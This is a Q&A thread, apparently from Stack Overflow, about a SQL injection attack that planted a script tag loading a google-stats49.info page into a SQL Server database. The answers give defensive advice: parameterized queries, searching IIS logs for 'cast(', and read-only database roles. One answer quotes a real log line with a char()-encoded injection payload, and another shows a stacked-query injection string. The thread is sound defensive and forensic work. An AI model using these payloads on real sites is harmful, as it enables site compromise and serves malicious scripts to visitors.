views:

598

answers:

5

Since so many other websites have been hit I have to assume it is a bot!

It has injected a script with: Yesterday: http://google-stats50.info/ur.php Today: http://google-stats49.info/ur.php

It injected it into multiple tables.

First, how did it identify the tables and columns?

Second, what should I search for in the logs to identify the source page?

We do not have ftp on any of our servers. We have 1 contact form but it is email and not even connected to the database.

We are using SQL Server and IIS.

+6  A: 

You probably have a page that is not validating/sanitizing user input. TextBoxes and QueryStrings that are used to provide parameters to a SQL Query are a commonly exploited in a SQL Injection attack (there are other ways as well though...). In addition to this you are probably not using parameterized queries when you access the database.

This will lead to a world of hurt.

They most likely figured out your database structure by querying the system tables:

SELECT *
FROM sys.Tables

And the column names:

SELECT *
FROM sys.columns

Some links you should look at:

If this were my website I would drop EVERYTHING until the site had been secured. Your site and database are in grave danger.

Abe Miessler
We have taken the site down. As far as we know all pages validate. We have locked coldfusion down as tight as possible and block many variables. That helps prevent xxs. We even scan all urls and block declare, cast, and execute.
Ken
You might consider trying an automated vulnerability detection application like Netsparker to see if it can find it before you do. Just point it at your app, start it running. Link: http://www.mavitunasecurity.com/
Abe Miessler
Netsparker $1000! ouch...
Ken
WHOA! It was free when I was using it... ummmm try the community edition: http://www.darknet.org.uk/2010/04/netsparker-community-edition-web-application-security-scanner/
Abe Miessler
There is a free community edition. Is that the one you used?
Ken
Yes, that is what I used
Abe Miessler
Ok, I'm running it now... The db admin is looking over the trans logs for a time of attack.
Ken
Looks like someoen else got hit by this too: http://stackoverflow.com/questions/3761064/what-kind-of-attack-is-it-sql-or-code-script-srchttp-google-stats50-info-ur They give a method for removing the injected script that you might want to look at too...
Abe Miessler
In that post they suggest the attack is coming from contaminated URLs so i'd take a look at any query string params you are using.
Abe Miessler
We cleaned the database but it re-injected another one. This time it was google-stat49 instead of google-stat50. Still unable to find the source as of yet.
Ken
Gah! That's frustrating. Any luck with NetSparker? I remember it taking a while to run...
Abe Miessler
It is still running! I really app the help. Thx
Ken
I found the source! On a secondary webserver was a site we host for a third party company. In the iis logs was a "cast(" variable! So if you find this problem search your iis logs for this. I want to thank everyone for directing me in the right direction!
Ken
Just out of curiosity: did NetSparker identify that there was a vulnerability where the actual vulnerability was?
Abe Miessler
A: 

Do any query string parameters on your site feed directly into the database? I had a similar occurrence a few years ago - very similar SQL injection, script went into multiple tables, multiple columns. Turned out we were using a numeric field directly from the query string with no input filtering (oops on our part) that allowed the attacker to do something like this:

SELECT a, b, c FROM table WHERE d = 0; UPDATE table SET col = 'script'; --

Where the put "0; UPDATE table SET col = 'script'; --" into the query string.

rswafford
<cfqueryparam value="#form.ID#" cfsqltype="CF_SQL_INTEGER">
Ken
This is how we validate numbers...
Ken
Similar to this: UPDATE Table SET A = #form.S# WHERE anID = <cfqueryparam value="#form.ID#" cfsqltype="CF_SQL_INTEGER">
Ken
I found the source! On a secondary webserver was a site we host for a third party company. In the iis logs was a "cast(" variable! So if you find this problem search your iis logs for this. I want to thank everyone for directing me in the right direction!
Ken
A: 

I don't know the details of this specific hack.

If it's anything like the attempts I was seeing a couple of years ago though this link will help explain

  1. How they did it.
  2. What to look for in the IIS Logs to identify the problem web page(s)
Martin Smith
We block all declare, cast and execute from the url.
Ken
We also have a custom error page that does not show anythings.
Ken
@ken - Ah asked about the error page in case there had been other (unsuccessful but similar) attempts that raised an error. Presumably if you are blocking likely SQL injection patterns from `get` it might be `post` data then? That won't be available in the IIS logs either which makes finding the problem page more difficult.
Martin Smith
@Ken - Is your database in Full Recovery Model? If so can you find out from the transaction logs when the attack occurred then cross correlate with the IIS logs? If not then maybe you can look at `sys.dm_db_index_usage_stats` to get the time a table was updated if no other updates have been made to it since.
Martin Smith
Do you know how to do this in SQL2000?
Ken
I found the source! On a secondary webserver was a site we host for a third party company. In the iis logs was a "cast(" variable! So if you find this problem search your iis logs for this. I want to thank everyone for directing me in the right direction!
Ken
+3  A: 

This particular attack unlike some from the past which would loop through the system objects table is done by analyzing your error pages then constructing new update queries which specifically target the known tables and fiels.

You can find the Hole by looking in your webserver logs. Look for "cast(" which can be found in most if not all sql injection attacks.

Below is an example of some of the data taken from my log so you can see what is being done.

Good Luck

2010-09-23 10:30:16 W3SVC1302398943 DM100 192.168.12.10 GET /search/List.cfm D_Dealer_GUID=3f8722ff-6f72-4530-a953-09c39dd389601'+update+q_ntd+set+Body=cast(Body+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(52)%2Bchar(57)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 80 - 77.78.239.56 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:
Chris
I found the source! On a secondary webserver was a site we host for a third party company. In the iis logs was a "cast(" variable! So if you find this problem search your iis logs for this. I want to thank everyone for directing me in the right direction!
Ken
Thanks Chris!!!
Ken
By the way, if the attack is in Query String, you can use built-in IIS Request Filtering to prevent someo of these: http://blogs.iis.net/wadeh/archive/2008/12/18/filtering-for-sql-injection-on-iis-7-and-later.aspx
CarlosAg
+1  A: 

What he is doing is looking for ".asp?product-id=" on the web and using it to inject. The guy above should be canonized and sent to Rome. This is how you can deal with this:

  1. Go onto your windows Web Server.
  2. Go to search.
  3. Do a search on the contents within a file. Look for "cast("
  4. If he's in one of your sites, it will show up in the log in the search.
  5. Open the log in wordpad. Do a find on "cast("
  6. You'll know it when you see it. It's an obvious hack. It doesn't have to be an Update statement. This injection is against a select statement. Write down the page name.
  7. Go into MS SQL console.
  8. Create a server role. Call it database-read or whatever.
  9. Go into your database, in the console. Flip down security.
  10. Find the role. Give it databese reader and denywirter privledges.
  11. Download your web page.
  12. Change the connection string from sa (or whatever) to database-read. Make sure it has read only privledges and nothing else.
  13. Test you page.
  14. Go into IIS and turn off error messaging for your site as follows. Get properties on the site, choose home directory, click configuration, click the debugging tab. Turn error messaging off.

That should protect your site (hopefully).

john mills